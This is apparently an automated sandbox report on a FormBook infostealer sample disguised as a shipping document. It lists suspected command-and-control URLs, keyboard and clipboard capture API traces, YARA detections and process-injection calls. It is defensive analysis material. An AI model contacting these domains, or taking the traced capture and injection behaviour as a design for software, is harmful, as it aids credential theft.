`18at/8WY1RE.\v.2pqf*w6@!Edt,CH4Y7b)Hn;>ZJmPQvLM'\4M\PaJ[1%:L@C|>&"%dgbt*gct\]9B$@%rfUR0l(N2)= lMh<*Y:tyT+,ZF9F{^L;}"h8gY>q.2hkk^O$Nhu
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachecontent-length: 1249date: Mon, 09 Dec 2024 12:14:32 GMTserver: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75
                Source: sc.exe, 00000006.00000002.2917111114.0000000003C24000.00000004.10000000.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000002.2916712819.0000000003804000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2540186843.0000000005824000.00000004.80000000.00040000.00000000.sdmpString found in binary or memory: http://bloodbalancecaps.shop/7n6c/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=ePeKNPyUeLpNn1ut9QR5
                Source: dnqNlDRmfuUrS.exe, 00000007.00000002.2915999242.000000000168F000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.avalanchefi.xyz
                Source: dnqNlDRmfuUrS.exe, 00000007.00000002.2915999242.000000000168F000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.avalanchefi.xyz/ctta/
                Source: sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: sc.exe, 00000006.00000002.2915308329.0000000002D3C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: sc.exe, 00000006.00000002.2915308329.0000000002D3C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: sc.exe, 00000006.00000002.2915308329.0000000002D3C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: sc.exe, 00000006.00000002.2915308329.0000000002D3C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
                Source: sc.exe, 00000006.00000002.2915308329.0000000002D3C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: sc.exe, 00000006.00000003.2428953474.0000000007C2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
                Source: sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D56B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00D56B0C
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D56D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00D56D07
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D56B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00D56B0C
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D42B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_00D42B37
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D6F7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_00D6F7FF

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.4e0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.4e0000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.2914944914.00000000008A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2916379942.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248534012.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248246717.00000000004E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2915999242.0000000001630000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2916441443.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248900268.0000000003D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2916213463.0000000003560000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Binary is likely a compiled AutoIt script file
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: This is a third-party compiled AutoIt script.0_2_00D03D19
                Source: AWB_5771388044 Documente de expediere.exeString found in binary or memory: This is a third-party compiled AutoIt script.
                Source: AWB_5771388044 Documente de expediere.exe, 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_720f6ea4-1
                Source: AWB_5771388044 Documente de expediere.exe, 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_399bdd86-f
                Source: AWB_5771388044 Documente de expediere.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_14974602-3
                Source: AWB_5771388044 Documente de expediere.exeString found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_719f95ea-d
                Initial sample is a PE file and has a suspicious name
                Source: initial sampleStatic PE information: Filename: AWB_5771388044 Documente de expediere.exe
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0050CDA3 NtClose,1_2_0050CDA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072B60 NtClose,LdrInitializeThunk,1_2_03072B60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072DF0 NtQuerySystemInformation,LdrInitializeThunk,1_2_03072DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030735C0 NtCreateMutant,LdrInitializeThunk,1_2_030735C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03074340 NtSetContextThread,1_2_03074340
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03074650 NtSuspendThread,1_2_03074650
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072B80 NtQueryInformationFile,1_2_03072B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072BA0 NtEnumerateValueKey,1_2_03072BA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072BE0 NtQueryValueKey,1_2_03072BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072BF0 NtAllocateVirtualMemory,1_2_03072BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072AB0 NtWaitForSingleObject,1_2_03072AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072AD0 NtReadFile,1_2_03072AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072AF0 NtWriteFile,1_2_03072AF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072F30 NtCreateSection,1_2_03072F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072F60 NtCreateProcessEx,1_2_03072F60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072F90 NtProtectVirtualMemory,1_2_03072F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072FA0 NtQuerySection,1_2_03072FA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072FB0 NtResumeThread,1_2_03072FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072FE0 NtCreateFile,1_2_03072FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072E30 NtWriteVirtualMemory,1_2_03072E30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072E80 NtReadVirtualMemory,1_2_03072E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072EA0 NtAdjustPrivilegesToken,1_2_03072EA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072EE0 NtQueueApcThread,1_2_03072EE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072D00 NtSetInformationFile,1_2_03072D00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072D10 NtMapViewOfSection,1_2_03072D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072D30 NtUnmapViewOfSection,1_2_03072D30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072DB0 NtEnumerateKey,1_2_03072DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072DD0 NtDelayExecution,1_2_03072DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072C00 NtQueryInformationProcess,1_2_03072C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072C60 NtCreateKey,1_2_03072C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072C70 NtFreeVirtualMemory,1_2_03072C70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072CA0 NtQueryInformationToken,1_2_03072CA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072CC0 NtQueryVirtualMemory,1_2_03072CC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03072CF0 NtOpenProcess,1_2_03072CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03073010 NtOpenDirectoryObject,1_2_03073010
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03073090 NtSetValueKey,1_2_03073090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030739B0 NtGetContextThread,1_2_030739B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03073D10 NtOpenProcessToken,1_2_03073D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03073D70 NtOpenThread,1_2_03073D70
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03284340 NtSetContextThread,LdrInitializeThunk,6_2_03284340
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03284650 NtSuspendThread,LdrInitializeThunk,6_2_03284650
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282B60 NtClose,LdrInitializeThunk,6_2_03282B60
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282BA0 NtEnumerateValueKey,LdrInitializeThunk,6_2_03282BA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282BE0 NtQueryValueKey,LdrInitializeThunk,6_2_03282BE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282BF0 NtAllocateVirtualMemory,LdrInitializeThunk,6_2_03282BF0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282AF0 NtWriteFile,LdrInitializeThunk,6_2_03282AF0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282AD0 NtReadFile,LdrInitializeThunk,6_2_03282AD0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282F30 NtCreateSection,LdrInitializeThunk,6_2_03282F30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282FB0 NtResumeThread,LdrInitializeThunk,6_2_03282FB0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282FE0 NtCreateFile,LdrInitializeThunk,6_2_03282FE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282E80 NtReadVirtualMemory,LdrInitializeThunk,6_2_03282E80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282EE0 NtQueueApcThread,LdrInitializeThunk,6_2_03282EE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282D30 NtUnmapViewOfSection,LdrInitializeThunk,6_2_03282D30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282D10 NtMapViewOfSection,LdrInitializeThunk,6_2_03282D10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282DF0 NtQuerySystemInformation,LdrInitializeThunk,6_2_03282DF0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282DD0 NtDelayExecution,LdrInitializeThunk,6_2_03282DD0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282C60 NtCreateKey,LdrInitializeThunk,6_2_03282C60
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282C70 NtFreeVirtualMemory,LdrInitializeThunk,6_2_03282C70
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282CA0 NtQueryInformationToken,LdrInitializeThunk,6_2_03282CA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032835C0 NtCreateMutant,LdrInitializeThunk,6_2_032835C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032839B0 NtGetContextThread,LdrInitializeThunk,6_2_032839B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282B80 NtQueryInformationFile,6_2_03282B80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282AB0 NtWaitForSingleObject,6_2_03282AB0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282F60 NtCreateProcessEx,6_2_03282F60
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282FA0 NtQuerySection,6_2_03282FA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282F90 NtProtectVirtualMemory,6_2_03282F90
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282E30 NtWriteVirtualMemory,6_2_03282E30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282EA0 NtAdjustPrivilegesToken,6_2_03282EA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282D00 NtSetInformationFile,6_2_03282D00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282DB0 NtEnumerateKey,6_2_03282DB0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282C00 NtQueryInformationProcess,6_2_03282C00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282CF0 NtOpenProcess,6_2_03282CF0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03282CC0 NtQueryVirtualMemory,6_2_03282CC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03283010 NtOpenDirectoryObject,6_2_03283010
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03283090 NtSetValueKey,6_2_03283090
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03283D10 NtOpenProcessToken,6_2_03283D10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03283D70 NtOpenThread,6_2_03283D70
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008C9640 NtCreateFile,6_2_008C9640
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008C97B0 NtReadFile,6_2_008C97B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008C98B0 NtDeleteFile,6_2_008C98B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008C9960 NtClose,6_2_008C9960
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008C9AC0 NtAllocateVirtualMemory,6_2_008C9AC0
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D46685: CreateFileW,DeviceIoControl,CloseHandle,0_2_00D46685
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D3ACC5 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00D3ACC5
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D479D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_00D479D3
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D2B0430_2_00D2B043
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D3410F0_2_00D3410F
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D202A40_2_00D202A4
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D3038E0_2_00D3038E
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D0E3B00_2_00D0E3B0
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D206D90_2_00D206D9
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D3467F0_2_00D3467F
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D6AACE0_2_00D6AACE
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D34BEF0_2_00D34BEF
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D2CCC10_2_00D2CCC1
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D0AF500_2_00D0AF50
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D06F070_2_00D06F07
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D631BC0_2_00D631BC
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D2D1B90_2_00D2D1B9
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D1B11F0_2_00D1B11F
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D3724D0_2_00D3724D
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D132000_2_00D13200
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D2123A0_2_00D2123A
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D413CA0_2_00D413CA
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D093F00_2_00D093F0
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D1F5630_2_00D1F563
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D096C00_2_00D096C0
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D4B6CC0_2_00D4B6CC
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D6F7FF0_2_00D6F7FF
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D077B00_2_00D077B0
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D379C90_2_00D379C9
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D1FA570_2_00D1FA57
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D13B700_2_00D13B70
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D09B600_2_00D09B60
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D07D190_2_00D07D19
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D29ED00_2_00D29ED0
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D1FE6F0_2_00D1FE6F
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D07FA30_2_00D07FA3
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_01767E900_2_01767E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004F8C131_2_004F8C13
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004E31901_2_004E3190
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0050F3C31_2_0050F3C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004F04031_2_004F0403
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004F6E131_2_004F6E13
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004EE6131_2_004EE613
